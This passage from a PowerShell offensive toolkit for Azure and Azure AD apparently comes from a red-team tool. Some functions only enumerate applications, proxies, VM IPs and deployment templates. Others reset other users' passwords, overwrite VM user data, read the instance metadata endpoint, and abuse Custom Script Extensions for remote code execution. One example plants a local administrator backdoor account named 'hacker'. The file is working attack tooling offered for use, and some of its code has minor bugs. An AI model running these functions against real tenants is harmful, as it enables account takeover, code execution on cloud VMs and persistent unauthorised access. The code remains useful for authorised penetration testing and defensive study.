3589 | Target Azure Resource Group name. 3590 | 3591 | .EXAMPLE 3592 | PS> Get-ARTAzVMPublicIP -VMName MyVM1 3593 | #> 3594 | 3595 | [CmdletBinding()] 3596 | Param( 3597 | [Parameter(Mandatory=$True)] 3598 | [String] 3599 | $VMName, 3600 | 3601 | [Parameter(Mandatory=$False)] 3602 | [String] 3603 | $ResourceGroupName = $null 3604 | ) 3605 | 3606 | try { 3607 | $EA = $ErrorActionPreference 3608 | $ErrorActionPreference = 'silentlycontinue' 3609 | 3610 | if($ResourceGroupName -eq $null -or $ResourceGroupName.Length -eq 0) { 3611 | Write-Verbose "Searching for a specified VM..." 3612 | 3613 | Get-AzVM | % { 3614 | if($_.name -eq $VMName) { 3615 | $ResourceGroupName = $_.ResourceGroupName 3616 | Write-Verbose "Found Azure VM: $($_.Name) / $($_.ResourceGroupName)" 3617 | break 3618 | } 3619 | } 3620 | } 3621 | 3622 | (get-azvm -ResourceGroupName $ResourceGroupName -VMName $VMName | select -ExpandProperty NetworkProfile).NetworkInterfaces | % { 3623 | (Get-AzPublicIpAddress -Name $_.Id).IpAddress 3624 | } 3625 | } 3626 | catch { 3627 | Write-Host "[!] Function failed!" -ForegroundColor Red 3628 | Throw 3629 | Return 3630 | } 3631 | finally { 3632 | $ErrorActionPreference = $EA 3633 | } 3634 | } 3635 | 3636 | 3637 | Function Set-ARTADUserPassword { 3638 | <# 3639 | .SYNOPSIS 3640 | Sets/Resets another Azure AD User Password. 3641 | 3642 | .DESCRIPTION 3643 | Sets/Resets another Azure AD User Password. 3644 | 3645 | .PARAMETER TargetUser 3646 | Specifies Target User name/UserPrincipalName/UserID to have his password changed. 3647 | 3648 | .PARAMETER Password 3649 | Specifies new password to set. 3650 | 3651 | .EXAMPLE 3652 | PS> Set-ARTADUserPassword -TargetUser michael@contoso.onmicrosoft.com -Password "SuperSecret@123" 3653 | #> 3654 | 3655 | [CmdletBinding()] 3656 | Param( 3657 | [Parameter(Mandatory=$True)] 3658 | [String] 3659 | $TargetUser, 3660 | 3661 | [Parameter(Mandatory=$True)] 3662 | [String] 3663 | $Password 3664 | ) 3665 | 3666 | try { 3667 | $EA = $ErrorActionPreference 3668 | $ErrorActionPreference = 'silentlycontinue' 3669 | 3670 | $passobj = $Password | ConvertTo-SecureString -AsPlainText -Force 3671 | 3672 | $TargetUserObj = (Get-AzureADUser -All $True | ? { $_.UserPrincipalName -eq $TargetUser -or $_.ObjectId -eq $TargetUser -or $_.DisplayName -eq $TargetUser}) 3673 | 3674 | if($TargetUserObj -eq $null -or $TargetUserObj.ObjectId -eq $null -or $TargetUserObj.ObjectId.Length -eq 0) { 3675 | Write-Host "[!] Could not find target user based on his name." -ForegroundColor Red 3676 | Return 3677 | } 3678 | 3679 | $TargetUserObj.ObjectId | Set-AzureADUserPassword -Password $passobj -Verbose 3680 | Write-Host "[+] User password most likely changed." -ForegroundColor Green 3681 | Write-Host "Affected user:" 3682 | $TargetUserObj 3683 | } 3684 | catch { 3685 | Write-Host "[!] Function failed!" -ForegroundColor Red 3686 | Throw 3687 | Return 3688 | } 3689 | finally { 3690 | $ErrorActionPreference = $EA 3691 | } 3692 | } 3693 | 3694 | 3695 | Function Get-ARTApplicationProxyPrincipals { 3696 | <# 3697 | .SYNOPSIS 3698 | Displays users and groups assigned to the specified Application Proxy application. 3699 | 3700 | .DESCRIPTION 3701 | Displays users and groups assigned to the specified Application Proxy application. 3702 | Requires Azure AD role: Global Administrator or Application Administrator 3703 | 3704 | Copied from Nikhil Mittal's Azure AD Attacking & Defending Bootcamp 3705 | who in turn copied that script from: 3706 | https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/scripts/powershell-display-users-group-of-app 3707 | 3708 | .PARAMETER ObjectId 3709 | Specifies Service Principal object ID that should be inspected. 3710 | 3711 | .EXAMPLE 3712 | PS C:\> Get-ARTApplicationProxyPrincipals -ObjectId $Id 3713 | #> 3714 | 3715 | [CmdletBinding()] 3716 | Param( 3717 | [Parameter(Mandatory=$False)] 3718 | [String] 3719 | $ObjectId = $null 3720 | ) 3721 | 3722 | try { 3723 | $EA = $ErrorActionPreference 3724 | $ErrorActionPreference = 'silentlycontinue' 3725 | 3726 | $aadapServPrincObjId = $ObjectId 3727 | 3728 | try { 3729 | $app = Get-AzureADServicePrincipal -ObjectId $aadapServPrincObjId 3730 | } 3731 | catch { 3732 | Write-Host "[-] Possibly the ObjectId is incorrect." -ForegroundColor Red 3733 | Write-Host " " 3734 | Return 3735 | } 3736 | 3737 | $obj = [PSCustomObject]@{ 3738 | AppDisplayName = $app.DisplayName 3739 | ServicePrincipalId = $aadapServPrincObjId 3740 | } 3741 | 3742 | Write-Host "=== Application:" -ForegroundColor Yellow 3743 | 3744 | $obj | fl 3745 | 3746 | Write-Host "=== Assigned (directly and through group membership) users:" -ForegroundColor Yellow 3747 | 3748 | Write-Verbose "1. Reading users. This operation might take longer..." 3749 | 3750 | $number = 0 3751 | $Coll = New-Object System.Collections.ArrayList 3752 | $users = Get-AzureADUser -All $true 3753 | 3754 | foreach ($item in $users) { 3755 | $listOfAssignments = Get-AzureADUserAppRoleAssignment -ObjectId $item.ObjectId 3756 | $assigned = $false 3757 | 3758 | foreach ($item2 in $listOfAssignments) { 3759 | If ($item2.ResourceID -eq $aadapServPrincObjId) { 3760 | $assigned = $true 3761 | } 3762 | } 3763 | 3764 | If ($assigned -eq $true) { 3765 | $obj = [PSCustomObject]@{ 3766 | DisplayName = $item.DisplayName 3767 | UserPrincipalName = $item.UserPrincipalName 3768 | ObjectId = $item.ObjectId 3769 | } 3770 | 3771 | $null = $Coll.Add($obj) 3772 | $number = $number + 1 3773 | } 3774 | } 3775 | 3776 | $Coll | ft 3777 | 3778 | Write-Host "Number of (directly and through group membership) users: $number" -ForegroundColor Green 3779 | 3780 | Write-Host "`n`n=== Assigned groups:" -ForegroundColor Yellow 3781 | 3782 | Write-Verbose "2. Reading groups. This operation might take longer..." 3783 | 3784 | $number = 0 3785 | $Coll2 = New-Object System.Collections.ArrayList 3786 | $groups = Get-AzureADGroup -All $true 3787 | 3788 | foreach ($item in $groups) { 3789 | $listOfAssignments = Get-AzureADGroupAppRoleAssignment -ObjectId $item.ObjectId 3790 | $assigned = $false 3791 | 3792 | foreach ($item2 in $listOfAssignments) { 3793 | If ($item2.ResourceID -eq $aadapServPrincObjId) { 3794 | $assigned = $true 3795 | } 3796 | } 3797 | 3798 | If ($assigned -eq $true) { 3799 | $obj = [PSCustomObject]@{ 3800 | DisplayName = $item.DisplayName 3801 | ObjectId = $item.ObjectId 3802 | } 3803 | 3804 | $null = $Coll2.Add($obj) 3805 | $number = $number + 1 3806 | } 3807 | } 3808 | 3809 | $Coll2 | ft 3810 | 3811 | Write-Host "Number of assigned groups: $number" -ForegroundColor Green 3812 | } 3813 | catch { 3814 | Write-Host "[!] Function failed!" -ForegroundColor Red 3815 | Throw 3816 | Return 3817 | } 3818 | finally { 3819 | $ErrorActionPreference = $EA 3820 | } 3821 | } 3822 | 3823 | 3824 | Function Get-ARTApplicationProxy { 3825 | <# 3826 | .SYNOPSIS 3827 | Lists Azure AD Enterprise Applications that have Application Proxy setup. 3828 | 3829 | .DESCRIPTION 3830 | Lists Azure AD Enterprise Applications that have Application Proxy setup. 3831 | 3832 | .PARAMETER ObjectId 3833 | Specifies application which should be inspected. 3834 | 3835 | .EXAMPLE 3836 | Example 1: Shows all visible to current user Azure AD application proxies. 3837 | PS C:\> Get-ARTApplicationProxy 3838 | 3839 | Example 2: Shows specific Application's Proxy 3840 | PS C:\> Get-ARTApplicationProxy -ObjectId $Id 3841 | #> 3842 | 3843 | [CmdletBinding()] 3844 | Param( 3845 | [Parameter(Mandatory=$False)] 3846 | [String] 3847 | $ObjectId = $null 3848 | ) 3849 | 3850 | try { 3851 | $EA = $ErrorActionPreference 3852 | $ErrorActionPreference = 'silentlycontinue' 3853 | 3854 | $ObjectIdGiven = $false 3855 | 3856 | if($ObjectId -eq $null -or $ObjectId.Length -eq 0) { 3857 | $apps = Get-AzureADApplication -All $true 3858 | } 3859 | else { 3860 | $apps = Get-AzureADApplication -ObjectId $ObjectId 3861 | $ObjectIdGiven = $true 3862 | } 3863 | 3864 | $Coll = New-Object System.Collections.ArrayList 3865 | $count = 0 3866 | 3867 | foreach ($app in $apps) { 3868 | try { 3869 | Write-Verbose "Examining ($($app.ObjectId)): `"$($app.DisplayName)`" ..." 3870 | 3871 | $out = Get-AzureADApplicationProxyApplication -ObjectId $app.ObjectId 3872 | 3873 | if($out -ne $null) { 3874 | $obj = [PSCustomObject]@{ 3875 | ApplicationName = $app.DisplayName 3876 | ApplicationId = $app.AppId 3877 | InternalUrl = $out.InternalUrl 3878 | ExternalUrl = $out.ExternalUrl 3879 | ExternalAuthenticationType = $out.ExternalAuthenticationType 3880 | } 3881 | 3882 | $null = $Coll.Add($obj) 3883 | $count += 1 3884 | } 3885 | } 3886 | catch{ 3887 | } 3888 | } 3889 | 3890 | if($count -eq 0) { 3891 | Write-Warning "No applications with Application Proxy were found." 3892 | } 3893 | 3894 | Return $Coll 3895 | } 3896 | catch { 3897 | Write-Host "[!] Function failed!" -ForegroundColor Red 3898 | Throw 3899 | Return 3900 | } 3901 | finally { 3902 | $ErrorActionPreference = $EA 3903 | } 3904 | } 3905 | 3906 | 3907 | Function Get-ARTApplication { 3908 | <# 3909 | .SYNOPSIS 3910 | Lists Azure AD Enterprise Applications that current user is owner of or owned by all users 3911 | 3912 | .DESCRIPTION 3913 | Lists Azure AD Enterprise Applications that current user is owner of (or all existing when -All used) along with their owners and Service Principals 3914 | 3915 | .PARAMETER ObjectId 3916 | Specifies application which should be inspected. 3917 | 3918 | .PARAMETER All 3919 | Display all Azure AD role assignments. By default will show only applications that the current user is owner of. 3920 | 3921 | .EXAMPLE 3922 | Example 1: Shows all visible to current user Azure AD applications, their owners and Service Principals. 3923 | PS C:\> Get-ARTApplication -All 3924 | 3925 | Example 2: Examine specific application based on their ObjectId 3926 | PS C:\> Get-ARTApplication -ObjectId $Id 3927 | #> 3928 | 3929 | [CmdletBinding()] 3930 | Param( 3931 | [Parameter(Mandatory=$False)] 3932 | [String] 3933 | $ObjectId = $null, 3934 | 3935 | [Parameter(Mandatory=$False)] 3936 | [Switch] 3937 | $All 3938 | ) 3939 | 3940 | try { 3941 | $EA = $ErrorActionPreference 3942 | $ErrorActionPreference = 'silentlycontinue' 3943 | 3944 | $UserId = Get-ARTUserId 3945 | $ObjectIdGiven = $false 3946 | 3947 | if($ObjectId -eq $null -or $ObjectId.Length -eq 0) { 3948 | $apps = Get-AzureADApplication -All $true 3949 | } 3950 | else { 3951 | $apps = Get-AzureADApplication -ObjectId $ObjectId 3952 | $ObjectIdGiven = $true 3953 | } 3954 | 3955 | $Coll = New-Object System.Collections.ArrayList 3956 | $count = 0 3957 | 3958 | foreach ($app in $apps) { 3959 | Write-Verbose "Examining ($($app.ObjectId)): `"$($app.DisplayName)`" ..." 3960 | 3961 | $owner = Get-AzureADApplicationOwner -ObjectId $app.ObjectId 3962 | $sp = Get-AzureADServicePrincipal -Filter "AppId eq '$($app.AppId)'" 3963 | $spmembership1 = Get-AzureADServicePrincipalMembership -ObjectId $sp.ObjectId 3964 | 3965 | $spgroups = New-Object System.Collections.ArrayList 3966 | 3967 | foreach($sp in $spmembership1) { 3968 | $obj = [PSCustomObject]@{ 3969 | GroupName = $sp.DisplayName 3970 | GroupId = $sp.ObjectId 3971 | GroupType = $sp.ObjectType 3972 | } 3973 | 3974 | $null = $spgroups.Add($obj) 3975 | } 3976 | 3977 | if($ObjectIdGiven) { 3978 | $out = Get-ARTApplicationProxy -ObjectId $ObjectId 3979 | 3980 | $obj = [PSCustomObject]@{ 3981 | ApplicationName = $app.DisplayName 3982 | ApplicationId = $app.ObjectId 3983 | OwnerName = $owner.DisplayName 3984 | OwnerPrincipalName = $owner.UserPrincipalName 3985 | OwnerType = $owner.UserType 3986 | OwnerId = $owner.ObjectId 3987 | HasApplicationProxy = $hasProxy 3988 | ServicePrincipalId = $sp.ObjectId 3989 | ServicePrincipalType = $sp.ServicePrincipalType 3990 | ServicePrincipalMembership = $spgroups 3991 | AppProxyExternalUrl = $out.ExternalUrl 3992 | AppProxyInternalUrl = $out.InternalUrl 3993 | AppProxyExternalAuthenticationType = $out.ExternalAuthenticationType 3994 | } 3995 | } 3996 | else { 3997 | $obj = [PSCustomObject]@{ 3998 | ApplicationName = $app.DisplayName 3999 | ApplicationId = $app.ObjectId 4000 | OwnerName = $owner.DisplayName 4001 | OwnerPrincipalName = $owner.UserPrincipalName 4002 | OwnerType = $owner.UserType 4003 | OwnerId = $owner.ObjectId 4004 | HasApplicationProxy = $hasProxy 4005 | ServicePrincipalId = $sp.ObjectId 4006 | ServicePrincipalType = $sp.ServicePrincipalType 4007 | ServicePrincipalMembership = $spgroups 4008 | } 4009 | } 4010 | 4011 | if($All -or $ObjectIdGiven) { 4012 | $null = $Coll.Add($obj) 4013 | $count += 1 4014 | } 4015 | elseif ($UserId -eq $ServicePrincipalId -or $UserId -eq $owner.ObjectId) { 4016 | $null = $Coll.Add($obj) 4017 | $count += 1 4018 | } 4019 | } 4020 | 4021 | if($count -eq 0) { 4022 | Write-Warning "No applications that this user is owner of. Try running Get-ARTApplication -All to see all applications." 4023 | } 4024 | 4025 | Return $Coll 4026 | } 4027 | catch { 4028 | Write-Host "[!] Function failed!" -ForegroundColor Red 4029 | Throw 4030 | Return 4031 | } 4032 | finally { 4033 | $ErrorActionPreference = $EA 4034 | } 4035 | } 4036 | 4037 | 4038 | Function Get-ARTResourceGroupDeploymentTemplate { 4039 | <# 4040 | .SYNOPSIS 4041 | Displays Resource Group Deployment Template JSON 4042 | 4043 | .DESCRIPTION 4044 | Displays Resource Group Deployment Template JSON based on input parameters, or pulls all of them at once. 4045 | 4046 | .PARAMETER ResourceGroupName 4047 | Resource Group Name to pull deployment templates. When not given, will display all templates from all resource groups. 4048 | 4049 | .PARAMETER DeploymentName 4050 | Deployment Name to show its template. When not given, will display all templates from all deployments. 4051 | 4052 | .EXAMPLE 4053 | Example 1: Shows all visible to current user Azure AD applications, their owners and Service Principals. 4054 | PS C:\> Get-ARTResourceGroupDeploymentTemplate 4055 | #> 4056 | 4057 | [CmdletBinding()] 4058 | Param( 4059 | [Parameter(Mandatory=$False)] 4060 | [String] 4061 | $ResourceGroupName = $null, 4062 | 4063 | [Parameter(Mandatory=$False)] 4064 | [String] 4065 | $DeploymentName = $null 4066 | ) 4067 | 4068 | try { 4069 | $EA = $ErrorActionPreference 4070 | $ErrorActionPreference = 'silentlycontinue' 4071 | 4072 | $tmpfile = New-TemporaryFile 4073 | $jsonfile = "$($tmpfile.FullName).json" 4074 | 4075 | if (($ResourceGroupName -ne $null -and $ResourceGroupName.Length -gt 0) -and ($DeploymentName -ne $null -and $DeploymentName.Length -gt 0)) { 4076 | Save-AzResourceGroupDeploymentTemplate -ResourceGroupName $ResourceGroupName -DeploymentName $DeploymentName -Path $tmpfile.FullName 4077 | 4078 | Write-Host "`n===================[ Resource Group Deployment Template: $ResourceGroupName - $DeploymentName ]=================================`n" -ForegroundColor Green 4079 | 4080 | cat $jsonfile 4081 | Clear-Content $tmpfile.FullName 4082 | Clear-Content $jsonfile 4083 | 4084 | Write-Host "`n============================================================================================================================`n" -ForegroundColor Green 4085 | } 4086 | elseif(($ResourceGroupName -ne $null -and $ResourceGroupName.Length -gt 0) -and ($DeploymentName -eq $null)) { 4087 | Get-AzResourceGroupDeployment -ResourceGroupName $ResourceGroupName | % { 4088 | Save-AzResourceGroupDeploymentTemplate -ResourceGroupName $ResourceGroupName -DeploymentName $_.DeploymentName -Path $tmpfile.FullName | Out-Null 4089 | 4090 | Write-Host "`n===================[ Resource Group Deployment Template: $ResourceGroupName - $($_.DeploymentName) ]=================================`n" -ForegroundColor Green 4091 | 4092 | cat $jsonfile 4093 | Clear-Content $tmpfile.FullName 4094 | Clear-Content $jsonfile 4095 | 4096 | Write-Host "`n============================================================================================================================`n" -ForegroundColor Green 4097 | } 4098 | } 4099 | elseif(($ResourceGroupName -eq $null) -and ($DeploymentName -ne $null -and $DeploymentName.Length -gt 0)) { 4100 | Get-AzResourceGroup | % { 4101 | $ResourceGroupName = $_.ResourceGroupName 4102 | Get-AzResourceGroupDeployment -ResourceGroupName $ResourceGroupName | ? {$_.DeploymentName -eq $DeploymentName} | % { 4103 | Save-AzResourceGroupDeploymentTemplate -ResourceGroupName $ResourceGroupName -DeploymentName $_.DeploymentName -Path $tmpfile.FullName | Out-Null 4104 | 4105 | Write-Host "`n===================[ Resource Group Deployment Template: $ResourceGroupName - $DeploymentName ]=================================`n" -ForegroundColor Green 4106 | 4107 | cat $jsonfile 4108 | Clear-Content $tmpfile.FullName 4109 | Clear-Content $jsonfile 4110 | 4111 | Write-Host "`n============================================================================================================================`n" -ForegroundColor Green 4112 | } 4113 | } 4114 | } 4115 | else { 4116 | Get-AzResourceGroup | % { 4117 | $ResourceGroupName = $_.ResourceGroupName 4118 | Get-AzResourceGroupDeployment -ResourceGroupName $ResourceGroupName | % { 4119 | $DeploymentName = $_.DeploymentName 4120 | Save-AzResourceGroupDeploymentTemplate -ResourceGroupName $ResourceGroupName -DeploymentName $DeploymentName -Path $tmpfile.FullName | Out-Null 4121 | 4122 | Write-Host "`n===================[ Resource Group Deployment Template: $ResourceGroupName - $DeploymentName ]=================================`n" -ForegroundColor Green 4123 | 4124 | cat $jsonfile 4125 | Clear-Content $tmpfile.FullName 4126 | Clear-Content $jsonfile 4127 | 4128 | Write-Host "`n============================================================================================================================`n" -ForegroundColor Green 4129 | } 4130 | } 4131 | } 4132 | } 4133 | catch { 4134 | Write-Host "[!] Function failed!" -ForegroundColor Red 4135 | Throw 4136 | Return 4137 | } 4138 | finally { 4139 | Remove-Item -Path $tmpfile.FullName | Out-Null 4140 | Remove-Item -Path $jsonfile | Out-Null 4141 | 4142 | $ErrorActionPreference = $EA 4143 | } 4144 | } 4145 | 4146 | 4147 | Function Update-ARTAzVMUserData { 4148 | <# 4149 | .SYNOPSIS 4150 | Modifies Azure VM User Data script. 4151 | 4152 | .DESCRIPTION 4153 | Modifies Azure VM User Data script through a direct API invocation. 4154 | 4155 | .PARAMETER VMName 4156 | Name of the Virtual Machine to target. 4157 | 4158 | .PARAMETER ScriptPath 4159 | Path to the Powershell script file. 4160 | 4161 | .PARAMETER Command 4162 | Command to be executed in Runbook. 4163 | 4164 | .PARAMETER ResourceGroup 4165 | Name of the Resource Group where to find target VM. Optional, will look it up in currently chosen resource group. 4166 | 4167 | .PARAMETER Location 4168 | Azure Availability Zone Location string where the VM is running, ex: "Germany West Central" 4169 | 4170 | .PARAMETER SubscriptionId 4171 | Subscription ID where to find target VM. Optional, will look it up in currently chosen subscription. 4172 | 4173 | .EXAMPLE 4174 | Example 1: Shows all visible to current user Azure AD applications, their owners and Service Principals. 4175 | PS C:\> Update-ARTAzVMUserData -Command "whoami" -VMName infectme -ResourceGroup myresgroup -Location "Germany West Central" 4176 | #> 4177 | 4178 | [CmdletBinding()] 4179 | Param( 4180 | [Parameter(Mandatory=$True)] 4181 | [String] 4182 | $VMName = $null, 4183 | 4184 | [Parameter(Mandatory=$True)] 4185 | [String] 4186 | $ResourceGroup, 4187 | 4188 | [Parameter(Mandatory=$True)] 4189 | [String] 4190 | $Location, 4191 | 4192 | [String] 4193 | $ScriptPath = $null, 4194 | 4195 | [String] 4196 | $Command = $null, 4197 | 4198 | [Parameter(Mandatory=$False)] 4199 | [String] 4200 | $SubscriptionId = $null 4201 | ) 4202 | 4203 | try { 4204 | $EA = $ErrorActionPreference 4205 | $ErrorActionPreference = 'silentlycontinue' 4206 | 4207 | if ($ScriptPath -ne $null -and $Command -ne $null -and $ScriptPath.Length -gt 0 -and $Command.Length -gt 0) { 4208 | Write-Error "-ScriptPath and -Command are mutually exclusive. Pick one to continue." 4209 | Return 4210 | } 4211 | 4212 | if (($ScriptPath -eq $null -and $Command -eq $null) -or ($ScriptPath.Length -eq 0 -and $Command.Length -eq 0)) { 4213 | Write-Error "Missing one of the required parameters: -ScriptPath or -Command" 4214 | Return 4215 | } 4216 | 4217 | $createdFile = $false 4218 | 4219 | if ($Command -ne $null -and $Command.Length -gt 0) { 4220 | $File = New-TemporaryFile 4221 | $ScriptPath = $File.FullName 4222 | Remove-Item $ScriptPath 4223 | $ScriptPath = $ScriptPath + ".ps1" 4224 | 4225 | Write-Verbose "Writing supplied commands to a temporary file..." 4226 | $Command | Out-File $ScriptPath 4227 | $createdFile = $true 4228 | } 4229 | 4230 | $Data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Content $ScriptPath))) 4231 | 4232 | $AccessToken = Get-ARTAccessTokenAz 4233 | 4234 | if($AccessToken -eq $null -or $AccessToken.Length -eq 0) { 4235 | Write-Error "Cannot acquire Azure Management Access Token!" 4236 | Return 4237 | } 4238 | 4239 | if($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) { 4240 | $SubscriptionId = Get-ARTSubscriptionId 4241 | } 4242 | 4243 | $URL = "https://management.azure.com/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroup/providers/Microsoft.Compute/virtualMachines/$VMName?api-version=2021-07-01" 4244 | 4245 | $Body = @( 4246 | @{ 4247 | location = "$Location" 4248 | properties = @{ 4249 | userData = "$Data" 4250 | } 4251 | } 4252 | ) | ConvertTo-Json -Depth 4 4253 | 4254 | $Headers = @{ 4255 | Authorization = "Bearer $AccessToken" 4256 | } 4257 | 4258 | $Results = Invoke-RestMethod -Method Put -Uri $URL -Body $Body -Headers $Headers -ContentType 'application/json' 4259 | 4260 | if($createdFile) { 4261 | Remove-Item $ScriptPath 4262 | } 4263 | 4264 | $Results 4265 | } 4266 | catch { 4267 | Write-Host "[!] Function failed!" -ForegroundColor Red 4268 | Throw 4269 | Return 4270 | } 4271 | finally { 4272 | Remove-Item -Path $tmpfile.FullName | Out-Null 4273 | Remove-Item -Path $jsonfile | Out-Null 4274 | 4275 | $ErrorActionPreference = $EA 4276 | } 4277 | } 4278 | 4279 | 4280 | Function Get-ARTAzVMUserDataFromInside { 4281 | <# 4282 | .SYNOPSIS 4283 | Retrieves Azure VM User Data from inside of a VM by reaching to Instance Metadata endpoint. 4284 | 4285 | .DESCRIPTION 4286 | Retrieves Azure VM User Data from inside of a VM by reaching to Instance Metadata endpoint. 4287 | 4288 | .EXAMPLE 4289 | PS C:\> Get-ARTAzVMUserData 4290 | #> 4291 | 4292 | Return [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"))) 4293 | } 4294 | 4295 | 4296 | Function Invoke-ARTCustomScriptExtension { 4297 | <# 4298 | .SYNOPSIS 4299 | Creates new or modifies existing Azure VM Custom Script Extension leading to remote code execution. 4300 | 4301 | .DESCRIPTION 4302 | Creates new or modifies existing Azure VM Custom Script Extension leading to remote code execution. 4303 | 4304 | .PARAMETER VMName 4305 | Name of the Virtual Machine to target. 4306 | 4307 | .PARAMETER ExtensionName 4308 | Name of the Custom Script Extension to abuse. 4309 | 4310 | .PARAMETER ResourceGroup 4311 | Name of the Resource Group where to find target VM. Optional, will look it up in currently chosen resource group. 4312 | 4313 | .PARAMETER ScriptPath 4314 | Path to the Powershell script file. 4315 | 4316 | .PARAMETER Command 4317 | Command to be executed in Runbook. 4318 | 4319 | .PARAMETER ForceNew 4320 | Forcefully try to create new Custom Script Extension instead of modifying existing one. 4321 | 4322 | .PARAMETER Location 4323 | Optional. Will be deduced from Get-AzVMExtension. Specifies Azure Availability Zone Location string where the VM is running, ex: "Germany West Central" 4324 | 4325 | .EXAMPLE 4326 | Example 1: Backdoors target Azure VM with a new Local Administrator user named "hacker" 4327 | PS C:\> Invoke-ARTCustomScriptExtension -VMName infectme -ResourceGroup myresgroup -ExtensionName ExecMe -Command "powershell net users hacker HackerSecret@1337 /add /Y ; net localgroup administrators hacker /add" 4328 | #> 4329 | 4330 | [CmdletBinding()] 4331 | Param( 4332 | [Parameter(Mandatory=$True)] 4333 | [String] 4334 | $VMName = $null, 4335 | 4336 | [Parameter(Mandatory=$True)] 4337 | [String] 4338 | $ResourceGroup, 4339 | 4340 | [Parameter(Mandatory=$True)] 4341 | [String] 4342 | $ExtensionName, 4343 | 4344 | [Parameter(Mandatory=$False)] 4345 | [String] 4346 | $Location, 4347 | 4348 | [String] 4349 | $ScriptPath = $null, 4350 | 4351 | [String] 4352 | $Command = $null, 4353 | 4354 | [String] 4355 | $ForceNew = $false 4356 | ) 4357 | 4358 | try { 4359 | $EA = $ErrorActionPreference 4360 | $ErrorActionPreference = 'silentlycontinue' 4361 | 4362 | if ($ScriptPath -ne $null -and $Command -ne $null -and $ScriptPath.Length -gt 0 -and $Command.Length -gt 0) { 4363 | Write-Error "-ScriptPath and -Command are mutually exclusive. Pick one to continue." 4364 | Return 4365 | } 4366 | 4367 | if (($ScriptPath -eq $null -and $Command -eq $null) -or ($ScriptPath.Length -eq 0 -and $Command.Length -eq 0)) { 4368 | Write-Error "Missing one of the required parameters: -ScriptPath or -Command" 4369 | Return 4370 | } 4371 | 4372 | $createdFile = $false 4373 | 4374 | if ($Command -ne $null -and $Command.Length -gt 0) { 4375 | $File = New-TemporaryFile 4376 | $ScriptPath = $File.FullName 4377 | Remove-Item $ScriptPath 4378 | $ScriptPath = $ScriptPath + ".ps1" 4379 | 4380 | Write-Verbose "Writing supplied commands to a temporary file..." 4381 | $Command | Out-File $ScriptPath 4382 | $createdFile = $true 4383 | } 4384 | 4385 | Write-Verbose "Pulling Azure VM Extensions..." 4386 | $ableToPullExts = $false 4387 | try { 4388 | $ext = Get-AzVMExtension -ResourceGroupName $ResourceGroup -VMName $VMName | ? { $_.Name -eq $ExtensionName } 4389 | 4390 | if($ext -ne $null) { 4391 | $Location = $ext.Location 4392 | $ableToPullExts = $true 4393 | } 4394 | } 4395 | catch { 4396 | Write-Host "[-] Could not pull Azure VM Extensions!" -ForegroundColor Red 4397 | } 4398 | 4399 | if ($Location -eq $null -or $Location.Length -eq 0) { 4400 | Write-Error "Location must be specified!" 4401 | Return 4402 | } 4403 | 4404 | Write-Verbose "Setting Custom Script Extension with malicious commands..." 4405 | 4406 | if(($ForceNew) -or (-not $ableToPullExts)) { 4407 | Write-Host "[.] Creating new Custom Script Extension..." 4408 | 4409 | Set-AzVMCustomScriptExtension ` 4410 | -ResourceGroupName $ResourceGroup ` 4411 | -VMName $VMName ` 4412 | -Location $Location ` 4413 | -Name $ExtensionName ` 4414 | -TypeHandlerVersion "1.8" ` 4415 | -FileName $ScriptPath | Out-Null 4416 | } 4417 | else { 4418 | Write-Host "[.] Updating existing Custom Script Extension..." 4419 | 4420 | $Commands = (Get-Content $ScriptPath) 4421 | 4422 | Set-AzVMExtension ` 4423 | -ResourceGroupName $ResourceGroup ` 4424 | -ExtensionName $ExtensionName ` 4425 | -VMName $VMName ` 4426 | -Location $Location ` 4427 | -Publisher Microsoft.Compute ` 4428 | -ExtensionType CustomScriptExtension ` 4429 | -TypeHandlerVersion 1.8 ` 4430 | -SettingString "{`"commandToExecute`":`"$Commands`"}" | Out-Null 4431 | } 4432 | 4433 | $col = "Yellow" 4434 | if($ableToPullExts -eq $false) { 4435 | $col = "Green" 4436 | } 4437 | 4438 | Write-Host "[+] Custom Script Extension set." -ForegroundColor $col 4439 | 4440 | if($ableToPullExts) { 4441 | Write-Host "[.] Checking if it worked..." 4442 | try { 4443 | Start-Sleep -Seconds 5 4444 | $ext = Get-AzVMExtension -ResourceGroupName $ResourceGroup -VMName $VMName | ? { $_.Name -eq $ExtensionName } 4445 | $c = ($ext.PublicSettings | ConvertFrom-Json).commandToExecute 4446 | 4447 | if ($c -eq $Commands) { 4448 | Write-Host "[+] Custom Script Extension Attack WORKED!" -ForegroundColor Green 4449 | } 4450 | else { 4451 | Write-Host "[?] It didn't work?" -ForegroundColor Yellow 4452 | Write-Host "Pulled following command to execute:" 4453 | Write-Host "----------------------------------------" 4454 | Write-Host $c 4455 | Write-Host "----------------------------------------" 4456 | Write-Host "Whereas expected it to be:" 4457 | Write-Host "----------------------------------------" 4458 | Write-Host $Commands 4459 | Write-Host "----------------------------------------" 4460 | } 4461 | } 4462 | catch { 4463 | Write-Host "[-] Could not verify whether Custom Script Extension attack worked! Exception was thrown." -ForegroundColor Red 4464 | } 4465 | } 4466 | 4467 | if($createdFile) { 4468 | Remove-Item $ScriptPath | Out-Null 4469 | } 4470 | } 4471 | catch { 4472 | Write-Host "[!] Function failed!" -ForegroundColor Red 4473 | Throw 4474 | Return 4475 | } 4476 | finally { 4477 | $ErrorActionPreference = $EA 4478 | } 4479 | } 4480 | 4481 | 4482 | Function Get-ARTADDynamicGroups { 4483 | <# 4484 | .SYNOPSIS 4485 | Displays Azure AD Dynamic Groups along with their user Membership Rules 4486 | 4487 | .DESCRIPTION 4488 | Displays Azure AD Dynamic Groups along with their user Membership Rules, members count and current user membership status 4489 | 4490 | .PARAMETER AccessToken 4491 | Azure AD Access Token 4492 | 4493 | .EXAMPLE 4494 | PS C:\> Get-ARTADDynamicGroups 4495 | #> 4496 | 4497 | [CmdletBinding()] 4498 | Param( 4499 | [Parameter(Mandatory=$False)] 4500 | [string] 4501 | $AccessToken 4502 | ) 4503 | 4504 | try { 4505 | $EA = $ErrorActionPreference 4506 | $ErrorActionPreference = 'silentlycontinue' 4507 | 4508 | if($AccessToken -eq $null -or $AccessToken.Length -eq 0) { 4509 | Write-Warning "No Access Token supplied. Acquiring one via Az module..." 4510 | $AccessToken = Get-ARTAccessTokenAz -Resource 